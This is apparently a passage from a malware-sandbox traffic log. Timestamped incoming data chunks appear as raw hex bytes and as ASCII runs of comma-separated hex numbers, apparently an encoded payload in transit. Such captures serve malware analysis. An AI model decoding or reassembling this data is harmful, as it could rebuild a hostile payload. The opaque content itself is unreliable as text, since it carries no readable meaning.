2023-04-20 23:05:24 UTC	17581	IN	Data Raw: 2c 66 64 2c 66 62 2c 63 33 2c 39 61 2c 31 35 32 2c 65 62 2c 31 32 38 2c 66 66 2c 66 61 2c 39 30 2c 31 33 63 2c 31 34 30 2c 39 32 2c 31 30 63 2c 31 30 36 2c 31 34 36 2c 63 30 2c 62 32 2c 31 34 32 2c 31 33 62 2c 65 31 2c 38 39 2c 31 33 38 2c 65 39 2c 31 35 30 2c 31 30 36 2c 65 38 2c 31 31 61 2c 31 33 62 2c 61 64 2c 62 62 2c 39 62 2c 39 65 2c 36 37 2c 38 33 2c 31 33 37 2c 61 63 2c 61 33 2c 31 31 35 2c 31 30 38 2c 31 31 33 2c 31 31 64 2c 31 34 34 2c 62 35 2c 38 36 2c 64 32 2c 31 32 38 2c 31 32 33 2c 36 62 2c 66 34 2c 66 39 2c 35 34 2c 31 35 33 2c 31 31 62 2c 36 63 2c 64 35 2c 31 31 30 2c 39 62 2c 61 65 2c 31 30 64 2c 31 35 34 2c 63 32 2c 31 31 34 2c 31 33 37 2c 31 33 63 2c 35 63 2c 66 36 2c 61 36 2c 65 37 2c 37 63 2c 35 38 2c 61 61 2c 37 66 2c 61 61 2c 65 34 Data Ascii: ,fd,fb,c3,9a,152,eb,128,ff,fa,90,13c,140,92,10c,106,146,c0,b2,142,13b,e1,89,138,e9,150,106,e8,11a,13b,ad,bb,9b,9e,67,83,137,ac,a3,115,108,113,11d,144,b5,86,d2,128,123,6b,f4,f9,54,153,11b,6c,d5,110,9b,ae,10d,154,c2,114,137,13c,5c,f6,a6,e7,7c,58,aa,7f,aa,e4
2023-04-20 23:05:24 UTC	17597	IN	Data Raw: 64 64 2c 61 33 2c 64 61 2c 31 34 62 2c 39 35 2c 66 66 2c 63 64 2c 31 31 65 2c 66 30 2c 64 62 2c 36 32 2c 31 31 37 2c 31 35 36 2c 31 31 33 2c 65 61 2c 63 65 2c 31 33 39 2c 34 38 2c 61 30 2c 31 31 36 2c 31 32 65 2c 31 34 33 2c 31 33 63 2c 34 35 2c 31 30 65 2c 36 33 2c 39 30 2c 39 63 2c 63 64 2c 31 33 39 2c 31 33 31 2c 66 62 2c 61 61 2c 31 31 35 2c 36 37 2c 31 34 36 2c 31 34 33 2c 61 35 2c 38 33 2c 39 36 2c 31 31 34 2c 34 34 2c 31 31 61 2c 64 38 2c 39 62 2c 39 39 2c 35 64 2c 35 65 2c 37 35 2c 65 33 2c 61 32 2c 37 38 2c 31 36 31 2c 37 34 2c 37 65 2c 65 34 2c 61 37 2c 62 30 2c 31 35 39 2c 64 31 2c 31 34 65 2c 31 31 63 2c 31 33 31 2c 31 32 37 2c 64 37 2c 66 65 2c 31 30 32 2c 65 62 2c 31 31 34 2c 61 64 2c 31 31 62 2c 31 35 33 2c 62 66 2c 37 62 2c 35 36 2c 61 64 Data Ascii: dd,a3,da,14b,95,ff,cd,11e,f0,db,62,117,156,113,ea,ce,139,48,a0,116,12e,143,13c,45,10e,63,90,9c,cd,139,131,fb,aa,115,67,146,143,a5,83,96,114,44,11a,d8,9b,99,5d,5e,75,e3,a2,78,161,74,7e,e4,a7,b0,159,d1,14e,11c,131,127,d7,fe,102,eb,114,ad,11b,153,bf,7b,56,ad
2023-04-20 23:05:25 UTC	17613	IN	Data Raw: 33 2c 31 33 30 2c 66 38 2c 31 31 34 2c 31 30 30 2c 35 38 2c 31 31 66 2c 64 65 2c 31 32 63 2c 63 39 2c 31 31 65 2c 31 34 37 2c 62 35 2c 61 37 2c 31 30 32 2c 61 36 2c 36 39 2c 38 32 2c 31 30 61 2c 63 37 2c 35 62 2c 36 30 2c 65 65 2c 31 30 30 2c 38 31 2c 62 63 2c 66 39 2c 31 32 30 2c 31 35 38 2c 37 35 2c 31 32 35 2c 64 66 2c 31 35 31 2c 37 61 2c 31 35 33 2c 62 66 2c 31 32 63 2c 34 34 2c 61 36 2c 37 31 2c 62 39 2c 31 32 30 2c 31 35 39 2c 64 63 2c 31 32 32 2c 64 61 2c 31 31 62 2c 33 33 2c 61 30 2c 31 31 64 2c 31 31 36 2c 31 30 65 2c 31 32 65 2c 31 32 30 2c 39 38 2c 35 32 2c 38 64 2c 39 62 2c 65 64 2c 31 33 31 2c 38 66 2c 61 65 2c 65 34 2c 63 32 2c 31 32 64 2c 61 33 2c 66 61 2c 63 37 2c 65 65 2c 31 30 62 2c 66 33 2c 65 33 2c 31 35 32 2c 31 34 30 2c 31 35 39 2c Data Ascii: 3,130,f8,114,100,58,11f,de,12c,c9,11e,147,b5,a7,102,a6,69,82,10a,c7,5b,60,ee,100,81,bc,f9,120,158,75,125,df,151,7a,153,bf,12c,44,a6,71,b9,120,159,dc,122,da,11b,33,a0,11d,116,10e,12e,120,98,52,8d,9b,ed,131,8f,ae,e4,c2,12d,a3,fa,c7,ee,10b,f3,e3,152,140,159,
2023-04-20 23:05:25 UTC	17629	IN	Data Raw: 62 2c 62 31 2c 31 31 39 2c 31 30 38 2c 62 32 2c 38 65 2c 31 31 38 2c 35 38 2c 31 37 36 2c 31 35 32 2c 31 34 63 2c 31 34 63 2c 34 39 2c 63 63 2c 35 39 2c 31 31 33 2c 31 34 33 2c 31 36 30 2c 31 35 39 2c 31 35 35 2c 31 32 65 2c 37 35 2c 31 36 35 2c 31 32 37 2c 35 66 2c 62 64 2c 61 63 2c 31 33 39 2c 34 61 2c 35 61 2c 31 30 65 2c 35 62 2c 31 32 37 2c 31 34 37 2c 31 35 63 2c 39 39 2c 38 38 2c 37 31 2c 38 61 2c 31 31 32 2c 31 35 38 2c 63 31 2c 31 35 32 2c 31 32 37 2c 34 39 2c 31 31 63 2c 36 64 2c 31 32 66 2c 38 63 2c 31 33 61 2c 63 32 2c 61 61 2c 38 62 2c 31 34 34 2c 31 30 32 2c 36 65 2c 31 31 38 2c 66 63 2c 31 30 63 2c 35 65 2c 35 34 2c 64 62 2c 66 39 2c 38 38 2c 31 31 32 2c 31 30 61 2c 31 34 62 2c 36 63 2c 31 35 33 2c 39 34 2c 35 34 2c 36 61 2c 31 34 62 2c 31 Data Ascii: b,b1,119,108,b2,8e,118,58,176,152,14c,14c,49,cc,59,113,143,160,159,155,12e,75,165,127,5f,bd,ac,139,4a,5a,10e,5b,127,147,15c,99,88,71,8a,112,158,c1,152,127,49,11c,6d,12f,8c,13a,c2,aa,8b,144,102,6e,118,fc,10c,5e,54,db,f9,88,112,10a,14b,6c,153,94,54,6a,14b,1
2023-04-20 23:05:25 UTC	17645	IN	Data Raw: 32 36 2c 36 62 2c 39 65 2c 37 37 2c 66 36 2c 66 31 2c 64 35 2c 34 37 2c 31 32 64 2c 36 63 2c 36 66 2c 35 61 2c 31 32 63 2c 31 36 31 2c 38 34 2c 66 62 2c 62 66 2c 31 32 32 2c 62 35 2c 31 30 32 2c 31 32 64 2c 64 35 2c 63 66 2c 37 63 2c 65 38 2c 62 62 2c 37 32 2c 31 34 63 2c 31 34 32 2c 66 63 2c 31 30 63 2c 31 33 61 2c 31 31 34 2c 31 31 37 2c 62 30 2c 39 39 2c 31 36 37 2c 31 32 30 2c 65 39 2c 37 35 2c 38 37 2c 31 35 33 2c 31 30 35 2c 31 32 34 2c 37 65 2c 31 36 36 2c 65 38 2c 37 65 2c 38 34 2c 64 32 2c 31 30 61 2c 31 32 61 2c 62 65 2c 37 62 2c 65 61 2c 38 66 2c 62 37 2c 38 32 2c 65 37 2c 31 36 33 2c 31 33 65 2c 31 34 31 2c 64 66 2c 31 33 62 2c 65 61 2c 61 33 2c 35 31 2c 38 35 2c 31 31 35 2c 31 30 39 2c 62 35 2c 66 64 2c 31 33 38 2c 65 35 2c 31 30 31 2c 37 65 Data Ascii: 26,6b,9e,77,f6,f1,d5,47,12d,6c,6f,5a,12c,161,84,fb,bf,122,b5,102,12d,d5,cf,7c,e8,bb,72,14c,142,fc,10c,13a,114,117,b0,99,167,120,e9,75,87,153,105,124,7e,166,e8,7e,84,d2,10a,12a,be,7b,ea,8f,b7,82,e7,163,13e,141,df,13b,ea,a3,51,85,115,109,b5,fd,138,e5,101,7e
2023-04-20 23:05:25 UTC	17661	IN	Data Raw: 39 2c 31 36 36 2c 31 30 34 2c 38 66 2c 31 32 64 2c 63 63 2c 62 36 2c 31 30 66 2c 66 33 2c 62 38 2c 61 64 2c 35 34 2c 31 34 30 2c 66 65 2c 31 31 31 2c 61 62 2c 31 33 31 2c 31 31 61 2c 38 33 2c 31 31 62 2c 38 66 2c 63 64 2c 31 30 39 2c 35 32 2c 31 31 39 2c 65 64 2c 31 32 63 2c 39 31 2c 31 36 34 2c 31 32 38 2c 61 63 2c 33 64 2c 31 30 33 2c 31 31 30 2c 31 32 33 2c 65 62 2c 39 65 2c 63 64 2c 39 66 2c 39 66 2c 39 33 2c 31 35 30 2c 63 39 2c 66 35 2c 31 32 62 2c 37 65 2c 31 33 66 2c 61 63 2c 36 31 2c 31 34 63 2c 31 30 63 2c 31 36 36 2c 39 62 2c 66 63 2c 31 35 34 2c 38 35 2c 31 32 32 2c 39 39 2c 34 62 2c 63 34 2c 31 30 31 2c 63 32 2c 37 35 2c 31 32 38 2c 31 33 66 2c 31 35 33 2c 31 31 66 2c 64 39 2c 31 33 34 2c 31 31 65 2c 31 32 38 2c 63 61 2c 61 38 2c 37 39 2c 31 Data Ascii: 9,166,104,8f,12d,cc,b6,10f,f3,b8,ad,54,140,fe,111,ab,131,11a,83,11b,8f,cd,109,52,119,ed,12c,91,164,128,ac,3d,103,110,123,eb,9e,cd,9f,9f,93,150,c9,f5,12b,7e,13f,ac,61,14c,10c,166,9b,fc,154,85,122,99,4b,c4,101,c2,75,128,13f,153,11f,d9,134,11e,128,ca,a8,79,1
2023-04-20 23:05:25 UTC	17677	IN	Data Raw: 31 33 61 2c 31 30 31 2c 39 33 2c 31 35 66 2c 31 34 33 2c 62 62 2c 34 66 2c 65 37 2c 65 36 2c 31 31 63 2c 31 31 62 2c 38 38 2c 36 63 2c 31 31 38 2c 63 30 2c 31 34 30 2c 64 64 2c 65 64 2c 64 37 2c 31 33 33 2c 31 36 36 2c 31 30 34 2c 61 62 2c 65 30 2c 31 35 66 2c 35 30 2c 35 34 2c 31 31 33 2c 37 34 2c 37 64 2c 37 64 2c 34 37 2c 35 37 2c 36 39 2c 31 35 66 2c 31 36 61 2c 31 34 62 2c 31 35 31 2c 63 66 2c 64 62 2c 62 65 2c 66 65 2c 38 62 2c 31 34 38 2c 31 31 36 2c 31 34 36 2c 34 32 2c 31 30 38 2c 31 35 62 2c 33 62 2c 36 64 2c 31 32 34 2c 31 36 62 2c 31 30 37 2c 31 33 35 2c 66 61 2c 31 35 65 2c 34 36 2c 35 30 2c 62 65 2c 31 34 30 2c 31 34 32 2c 31 33 31 2c 31 31 31 2c 31 33 33 2c 65 38 2c 38 64 2c 38 62 2c 35 65 2c 64 32 2c 31 30 65 2c 61 65 2c 35 38 2c 61 65 2c Data Ascii: 13a,101,93,15f,143,bb,4f,e7,e6,11c,11b,88,6c,118,c0,140,dd,ed,d7,133,166,104,ab,e0,15f,50,54,113,74,7d,7d,47,57,69,15f,16a,14b,151,cf,db,be,fe,8b,148,116,146,42,108,15b,3b,6d,124,16b,107,135,fa,15e,46,50,be,140,142,131,111,133,e8,8d,8b,5e,d2,10e,ae,58,ae,
2023-04-20 23:05:25 UTC	17693	IN	Data Raw: 2c 38 64 2c 61 37 2c 37 64 2c 65 39 2c 31 32 38 2c 66 37 2c 31 33 35 2c 31 31 31 2c 31 32 30 2c 61 32 2c 39 37 2c 31 31 37 2c 39 38 2c 62 66 2c 65 30 2c 31 32 63 2c 31 34 65 2c 65 61 2c 61 62 2c 34 33 2c 31 34 64 2c 35 36 2c 39 39 2c 31 36 36 2c 38 34 2c 62 61 2c 64 64 2c 65 63 2c 66 38 2c 61 37 2c 37 61 2c 39 30 2c 31 36 30 2c 31 30 30 2c 63 66 2c 64 31 2c 61 65 2c 65 63 2c 31 34 35 2c 38 34 2c 31 33 33 2c 65 62 2c 31 32 64 2c 64 37 2c 31 30 66 2c 61 36 2c 31 33 33 2c 61 34 2c 37 35 2c 31 34 64 2c 64 38 2c 37 32 2c 31 33 36 2c 65 39 2c 36 34 2c 31 33 62 2c 37 34 2c 31 30 61 2c 36 39 2c 31 34 31 2c 31 36 35 2c 63 64 2c 35 63 2c 61 64 2c 31 34 36 2c 61 37 2c 37 38 2c 37 30 2c 31 35 36 2c 66 31 2c 31 31 33 2c 38 37 2c 31 31 39 2c 38 32 2c 64 39 2c 34 33 2c Data Ascii: ,8d,a7,7d,e9,128,f7,135,111,120,a2,97,117,98,bf,e0,12c,14e,ea,ab,43,14d,56,99,166,84,ba,dd,ec,f8,a7,7a,90,160,100,cf,d1,ae,ec,145,84,133,eb,12d,d7,10f,a6,133,a4,75,14d,d8,72,136,e9,64,13b,74,10a,69,141,165,cd,5c,ad,146,a7,78,70,156,f1,113,87,119,82,d9,43,
2023-04-20 23:05:25 UTC	17709	IN	Data Raw: 66 2c 31 32 37 2c 61 62 2c 63 62 2c 31 36 32 2c 61 64 2c 31 34 33 2c 31 32 39 2c 31 31 34 2c 31 35 35 2c 63 65 2c 35 66 2c 35 37 2c 64 66 2c 65 38 2c 31 34 39 2c 31 33 61 2c 66 32 2c 31 31 35 2c 31 31 31 2c 31 31 62 2c 35 63 2c 38 33 2c 64 31 2c 31 34 39 2c 31 32 63 2c 31 30 35 2c 31 32 63 2c 39 62 2c 31 30 63 2c 38 39 2c 31 33 64 2c 38 64 2c 35 39 2c 31 33 34 2c 37 35 2c 62 63 2c 65 62 2c 34 38 2c 35 62 2c 31 30 33 2c 31 33 63 2c 31 35 62 2c 34 31 2c 62 35 2c 31 35 33 2c 31 34 65 2c 39 38 2c 36 65 2c 63 64 2c 31 31 35 2c 63 61 2c 61 32 2c 34 66 2c 37 62 2c 38 65 2c 66 35 2c 31 36 30 2c 36 35 2c 31 30 32 2c 31 34 32 2c 37 30 2c 36 65 2c 31 34 33 2c 64 64 2c 31 30 34 2c 38 61 2c 31 32 35 2c 37 66 2c 31 33 32 2c 36 38 2c 37 61 2c 31 32 64 2c 31 36 36 2c 63 Data Ascii: f,127,ab,cb,162,ad,143,129,114,155,ce,5f,57,df,e8,149,13a,f2,115,111,11b,5c,83,d1,149,12c,105,12c,9b,10c,89,13d,8d,59,134,75,bc,eb,48,5b,103,13c,15b,41,b5,153,14e,98,6e,cd,115,ca,a2,4f,7b,8e,f5,160,65,102,142,70,6e,143,dd,104,8a,125,7f,132,68,7a,12d,166,c
2023-04-20 23:05:25 UTC	17725	IN	Data Raw: 2c 35 61 2c 31 32 64 2c 31 33 62 2c 66 39 2c 66 36 2c 63 38 2c 39 64 2c 31 33 34 2c 31 30 38 2c 62 62 2c 31 30 37 2c 66 66 2c 61 31 2c 64 31 2c 38 32 2c 31 31 32 2c 37 35 2c 36 35 2c 31 36 64 2c 31 30 35 2c 31 34 63 2c 34 37 2c 66 38 2c 31 34 64 2c 66 31 2c 62 30 2c 65 61 2c 39 33 2c 39 34 2c 34 66 2c 35 36 2c 31 35 38 2c 66 36 2c 36 33 2c 65 36 2c 31 34 39 2c 61 65 2c 31 34 38 2c 36 65 2c 31 34 33 2c 61 37 2c 64 63 2c 31 31 31 2c 64 31 2c 39 65 2c 31 34 36 2c 64 37 2c 31 33 37 2c 31 32 35 2c 37 35 2c 31 30 32 2c 31 34 62 2c 31 31 65 2c 34 38 2c 31 33 36 2c 31 30 30 2c 39 30 2c 35 39 2c 31 32 65 2c 31 32 38 2c 66 64 2c 31 33 33 2c 65 62 2c 31 32 37 2c 65 63 2c 63 33 2c 31 32 63 2c 64 31 2c 66 64 2c 61 66 2c 31 30 35 2c 31 32 64 2c 36 33 2c 31 34 63 2c 62 Data Ascii: ,5a,12d,13b,f9,f6,c8,9d,134,108,bb,107,ff,a1,d1,82,112,75,65,16d,105,14c,47,f8,14d,f1,b0,ea,93,94,4f,56,158,f6,63,e6,149,ae,148,6e,143,a7,dc,111,d1,9e,146,d7,137,125,75,102,14b,11e,48,136,100,90,59,12e,128,fd,133,eb,127,ec,c3,12c,d1,fd,af,105,12d,63,14c,b
2023-04-20 23:05:25 UTC	17741	IN	Data Raw: 66 2c 65 31 2c 31 36 35 2c 31 33 37 2c 31 31 31 2c 64 65 2c 31 34 63 2c 38 35 2c 62 64 2c 63 34 2c 35 32 2c 37 35 2c 31 35 33 2c 61 63 2c 61 36 2c 31 30 31 2c 36 63 2c 63 61 2c 39 64 2c 66 33 2c 31 33 64 2c 35 34 2c 31 30 66 2c 37 33 2c 31 31 63 2c 31 30 62 2c 35 37 2c 61 37 2c 31 31 31 2c 34 34 2c 31 33 64 2c 31 34 63 2c 65 37 2c 63 64 2c 64 65 2c 36 32 2c 31 32 63 2c 31 30 33 2c 31 36 39 2c 37 38 2c 35 37 2c 31 31 65 2c 34 38 2c 37 62 2c 31 33 38 2c 63 36 2c 31 33 61 2c 31 35 31 2c 66 32 2c 65 37 2c 37 38 2c 31 34 30 2c 66 62 2c 62 35 2c 31 30 34 2c 31 30 33 2c 61 34 2c 31 30 38 2c 66 36 2c 65 33 2c 31 34 36 2c 66 66 2c 39 35 2c 31 31 36 2c 65 31 2c 62 34 2c 31 36 39 2c 38 62 2c 31 34 37 2c 31 32 39 2c 62 61 2c 38 64 2c 35 64 2c 31 30 39 2c 31 33 33 2c Data Ascii: f,e1,165,137,111,de,14c,85,bd,c4,52,75,153,ac,a6,101,6c,ca,9d,f3,13d,54,10f,73,11c,10b,57,a7,111,44,13d,14c,e7,cd,de,62,12c,103,169,78,57,11e,48,7b,138,c6,13a,151,f2,e7,78,140,fb,b5,104,103,a4,108,f6,e3,146,ff,95,116,e1,b4,169,8b,147,129,ba,8d,5d,109,133,
2023-04-20 23:05:25 UTC	17757	IN	Data Raw: 63 39 2c 31 31 36 2c 62 37 2c 31 37 33 2c 31 36 34 2c 64 31 2c 33 61 2c 65 33 2c 31 30 61 2c 31 30 62 2c 31 30 66 2c 62 64 2c 37 61 2c 31 30 30 2c 31 33 64 2c 34 30 2c 65 39 2c 62 37 2c 66 36 2c 38 64 2c 61 36 2c 37 30 2c 62 34 2c 65 32 2c 31 34 35 2c 36 34 2c 31 35 30 2c 31 30 36 2c 31 33 33 2c 31 35 34 2c 31 30 30 2c 61 30 2c 31 32 38 2c 31 32 31 2c 35 33 2c 37 64 2c 64 31 2c 31 31 32 2c 65 63 2c 64 35 2c 31 34 66 2c 31 30 35 2c 63 38 2c 38 38 2c 39 30 2c 39 30 2c 31 33 33 2c 39 66 2c 31 30 62 2c 36 32 2c 31 34 32 2c 39 66 2c 62 64 2c 39 33 2c 64 32 2c 34 35 2c 31 33 34 2c 65 62 2c 38 39 2c 31 36 31 2c 31 33 38 2c 62 66 2c 62 65 2c 36 64 2c 66 64 2c 62 32 2c 31 31 36 2c 63 30 2c 61 39 2c 31 33 31 2c 31 31 66 2c 31 33 66 2c 31 32 33 2c 31 30 66 2c 37 30 Data Ascii: c9,116,b7,173,164,d1,3a,e3,10a,10b,10f,bd,7a,100,13d,40,e9,b7,f6,8d,a6,70,b4,e2,145,64,150,106,133,154,100,a0,128,121,53,7d,d1,112,ec,d5,14f,105,c8,88,90,90,133,9f,10b,62,142,9f,bd,93,d2,45,134,eb,89,161,138,bf,be,6d,fd,b2,116,c0,a9,131,11f,13f,123,10f,70
2023-04-20 23:05:25 UTC	17773	IN	Data Raw: 33 61 2c 35 61 2c 31 31 61 2c 66 35 2c 65 32 2c 39 61 2c 31 30 65 2c 36 31 2c 31 34 35 2c 31 33 31 2c 31 32 63 2c 61 35 2c 39 61 2c 65 33 2c 62 61 2c 37 65 2c 65 38 2c 31 31 63 2c 31 31 33 2c 38 63 2c 33 39 2c 39 39 2c 64 62 2c 31 32 64 2c 37 33 2c 38 32 2c 61 66 2c 31 35 66 2c 35 34 2c 63 34 2c 39 35 2c 38 34 2c 61 36 2c 61 35 2c 31 31 31 2c 31 33 64 2c 66 65 2c 36 65 2c 31 30 38 2c 31 33 61 2c 31 32 66 2c 31 32 35 2c 31 30 63 2c 64 63 2c 65 36 2c 31 32 37 2c 34 64 2c 38 63 2c 31 31 61 2c 31 30 32 2c 31 32 63 2c 31 33 34 2c 65 33 2c 66 32 2c 63 38 2c 31 30 66 2c 36 36 2c 31 35 38 2c 66 38 2c 31 31 61 2c 65 65 2c 39 66 2c 31 34 36 2c 31 35 63 2c 61 39 2c 36 32 2c 63 65 2c 31 33 37 2c 62 39 2c 61 38 2c 64 38 2c 61 38 2c 66 65 2c 31 35 32 2c 65 62 2c 31 30 Data Ascii: 3a,5a,11a,f5,e2,9a,10e,61,145,131,12c,a5,9a,e3,ba,7e,e8,11c,113,8c,39,99,db,12d,73,82,af,15f,54,c4,95,84,a6,a5,111,13d,fe,6e,108,13a,12f,125,10c,dc,e6,127,4d,8c,11a,102,12c,134,e3,f2,c8,10f,66,158,f8,11a,ee,9f,146,15c,a9,62,ce,137,b9,a8,d8,a8,fe,152,eb,10
2023-04-20 23:05:25 UTC	17789	IN	Data Raw: 2c 66 31 2c 61 62 2c 31 34 63 2c 31 30 38 2c 37 63 2c 35 39 2c 31 32 35 2c 31 32 37 2c 31 36 35 2c 31 32 66 2c 31 33 64 2c 64 31 2c 64 30 2c 66 62 2c 31 32 65 2c 65 35 2c 31 35 32 2c 63 37 2c 63 32 2c 38 37 2c 34 37 2c 31 33 38 2c 31 35 61 2c 31 30 35 2c 64 39 2c 64 38 2c 37 37 2c 63 64 2c 66 62 2c 65 31 2c 31 36 32 2c 35 64 2c 31 32 35 2c 31 34 63 2c 38 31 2c 31 33 31 2c 31 34 39 2c 62 32 2c 31 34 62 2c 31 30 64 2c 31 33 37 2c 31 30 32 2c 31 32 38 2c 38 37 2c 35 35 2c 37 63 2c 63 36 2c 61 61 2c 66 31 2c 31 31 39 2c 65 33 2c 31 35 36 2c 63 31 2c 62 66 2c 39 33 2c 62 62 2c 66 65 2c 31 34 63 2c 31 32 34 2c 31 32 61 2c 35 33 2c 36 66 2c 31 34 32 2c 31 32 64 2c 31 31 36 2c 31 31 63 2c 66 64 2c 62 30 2c 31 30 63 2c 37 65 2c 66 31 2c 66 61 2c 37 38 2c 31 30 61 Data Ascii: ,f1,ab,14c,108,7c,59,125,127,165,12f,13d,d1,d0,fb,12e,e5,152,c7,c2,87,47,138,15a,105,d9,d8,77,cd,fb,e1,162,5d,125,14c,81,131,149,b2,14b,10d,137,102,128,87,55,7c,c6,aa,f1,119,e3,156,c1,bf,93,bb,fe,14c,124,12a,53,6f,142,12d,116,11c,fd,b0,10c,7e,f1,fa,78,10a
2023-04-20 23:05:25 UTC	17805	IN	Data Raw: 66 2c 64 62 2c 61 62 2c 37 66 2c 31 33 31 2c 66 37 2c 31 32 38 2c 34 66 2c 37 37 2c 31 32 30 2c 64 31 2c 31 30 65 2c 37 32 2c 31 32 32 2c 39 61 2c 31 33 64 2c 65 38 2c 31 33 62 2c 64 62 2c 66 61 2c 31 32 63 2c 31 33 34 2c 38 65 2c 37 65 2c 31 31 63 2c 31 31 64 2c 31 30 31 2c 39 36 2c 31 33 62 2c 31 32 30 2c 31 34 38 2c 62 33 2c 31 30 30 2c 39 30 2c 38 63 2c 65 34 2c 31 36 63 2c 64 62 2c 31 31 62 2c 31 32 30 2c 66 65 2c 39 39 2c 31 32 33 2c 31 34 30 2c 61 36 2c 62 39 2c 31 33 37 2c 31 30 63 2c 39 66 2c 31 36 35 2c 38 35 2c 31 32 31 2c 36 64 2c 31 35 34 2c 61 37 2c 31 36 36 2c 35 35 2c 31 31 63 2c 31 31 35 2c 31 34 63 2c 31 31 37 2c 31 32 30 2c 66 38 2c 66 34 2c 61 34 2c 31 33 38 2c 31 31 64 2c 31 32 30 2c 63 63 2c 31 30 38 2c 31 30 33 2c 34 65 2c 31 34 30 Data Ascii: f,db,ab,7f,131,f7,128,4f,77,120,d1,10e,72,122,9a,13d,e8,13b,db,fa,12c,134,8e,7e,11c,11d,101,96,13b,120,148,b3,100,90,8c,e4,16c,db,11b,120,fe,99,123,140,a6,b9,137,10c,9f,165,85,121,6d,154,a7,166,55,11c,115,14c,117,120,f8,f4,a4,138,11d,120,cc,108,103,4e,140
2023-04-20 23:05:25 UTC	17821	IN	Data Raw: 32 65 2c 31 34 35 2c 64 34 2c 31 33 63 2c 62 61 2c 38 36 2c 38 34 2c 31 34 34 2c 31 34 62 2c 31 30 33 2c 38 35 2c 31 32 34 2c 31 31 61 2c 31 33 37 2c 31 31 62 2c 63 33 2c 66 62 2c 65 62 2c 63 38 2c 61 66 2c 35 64 2c 65 30 2c 38 31 2c 66 63 2c 66 35 2c 31 30 64 2c 64 39 2c 34 32 2c 38 64 2c 66 65 2c 66 33 2c 31 31 35 2c 63 30 2c 31 31 34 2c 36 64 2c 31 34 32 2c 66 31 2c 31 33 39 2c 62 35 2c 31 33 36 2c 64 61 2c 31 33 63 2c 31 33 38 2c 63 38 2c 61 63 2c 66 38 2c 63 62 2c 64 33 2c 62 35 2c 66 63 2c 38 33 2c 62 33 2c 61 30 2c 35 38 2c 62 35 2c 64 65 2c 31 31 65 2c 38 34 2c 31 33 61 2c 66 31 2c 31 32 30 2c 37 66 2c 33 32 2c 36 64 2c 31 33 63 2c 31 31 31 2c 62 34 2c 31 30 36 2c 33 32 2c 38 64 2c 31 31 36 2c 35 34 2c 31 33 35 2c 31 30 33 2c 31 34 32 2c 31 31 61 Data Ascii: 2e,145,d4,13c,ba,86,84,144,14b,103,85,124,11a,137,11b,c3,fb,eb,c8,af,5d,e0,81,fc,f5,10d,d9,42,8d,fe,f3,115,c0,114,6d,142,f1,139,b5,136,da,13c,138,c8,ac,f8,cb,d3,b5,fc,83,b3,a0,58,b5,de,11e,84,13a,f1,120,7f,32,6d,13c,111,b4,106,32,8d,116,54,135,103,142,11a
2023-04-20 23:05:25 UTC	17837	IN	Data Raw: 2c 31 30 39 2c 38 38 2c 31 30 35 2c 63 32 2c 64 66 2c 31 30 31 2c 31 30 38 2c 65 30 2c 66 62 2c 31 30 33 2c 37 39 2c 37 32 2c 31 35 61 2c 31 34 38 2c 31 32 34 2c 36 39 2c 66 62 2c 64 32 2c 61 66 2c 31 35 38 2c 31 31 39 2c 31 35 36 2c 31 30 35 2c 31 31 31 2c 65 61 2c 31 33 32 2c 31 34 32 2c 31 31 66 2c 31 36 31 2c 31 31 31 2c 66 31 2c 31 35 38 2c 37 35 2c 37 37 2c 66 64 2c 31 30 36 2c 31 31 31 2c 31 33 38 2c 64 63 2c 64 31 2c 37 38 2c 33 39 2c 66 38 2c 31 30 65 2c 38 32 2c 37 66 2c 31 31 30 2c 36 37 2c 66 62 2c 31 31 66 2c 31 31 66 2c 64 66 2c 36 63 2c 31 32 39 2c 31 32 31 2c 39 66 2c 65 39 2c 38 36 2c 31 34 30 2c 31 32 66 2c 37 34 2c 63 34 2c 66 31 2c 31 33 32 2c 37 31 2c 37 37 2c 66 64 2c 62 66 2c 31 31 31 2c 31 31 38 2c 31 30 36 2c 38 34 2c 37 39 2c 33 Data Ascii: ,109,88,105,c2,df,101,108,e0,fb,103,79,72,15a,148,124,69,fb,d2,af,158,119,156,105,111,ea,132,142,11f,161,111,f1,158,75,77,fd,106,111,138,dc,d1,78,39,f8,10e,82,7f,110,67,fb,11f,11f,df,6c,129,121,9f,e9,86,140,12f,74,c4,f1,132,71,77,fd,bf,111,118,106,84,79,3
2023-04-20 23:05:25 UTC	17853	IN	Data Raw: 2c 36 63 2c 62 36 2c 66 33 2c 31 31 36 2c 37 34 2c 31 31 65 2c 35 37 2c 31 34 62 2c 62 32 2c 31 31 37 2c 63 31 2c 38 62 2c 66 36 2c 31 35 66 2c 31 30 66 2c 65 65 2c 31 32 61 2c 65 64 2c 31 33 36 2c 35 65 2c 65 65 2c 34 62 2c 37 35 2c 39 39 2c 31 33 39 2c 35 65 2c 31 30 31 2c 31 35 30 2c 31 31 30 2c 33 37 2c 31 33 39 2c 62 61 2c 62 30 2c 31 31 64 2c 31 32 66 2c 65 61 2c 62 30 2c 31 32 61 2c 65 30 2c 31 30 64 2c 63 31 2c 39 33 2c 39 30 2c 38 35 2c 31 31 36 2c 31 34 62 2c 61 36 2c 39 63 2c 39 33 2c 31 30 34 2c 39 33 2c 36 38 2c 38 61 2c 34 62 2c 61 61 2c 31 34 33 2c 66 64 2c 31 30 32 2c 38 30 2c 61 39 2c 62 66 2c 34 37 2c 31 36 65 2c 37 62 2c 31 30 32 2c 31 34 63 2c 61 66 2c 64 31 2c 31 34 30 2c 31 30 36 2c 63 33 2c 31 33 39 2c 65 66 2c 31 33 30 2c 31 30 31 Data Ascii: ,6c,b6,f3,116,74,11e,57,14b,b2,117,c1,8b,f6,15f,10f,ee,12a,ed,136,5e,ee,4b,75,99,139,5e,101,150,110,37,139,ba,b0,11d,12f,ea,b0,12a,e0,10d,c1,93,90,85,116,14b,a6,9c,93,104,93,68,8a,4b,aa,143,fd,102,80,a9,bf,47,16e,7b,102,14c,af,d1,140,106,c3,139,ef,130,101
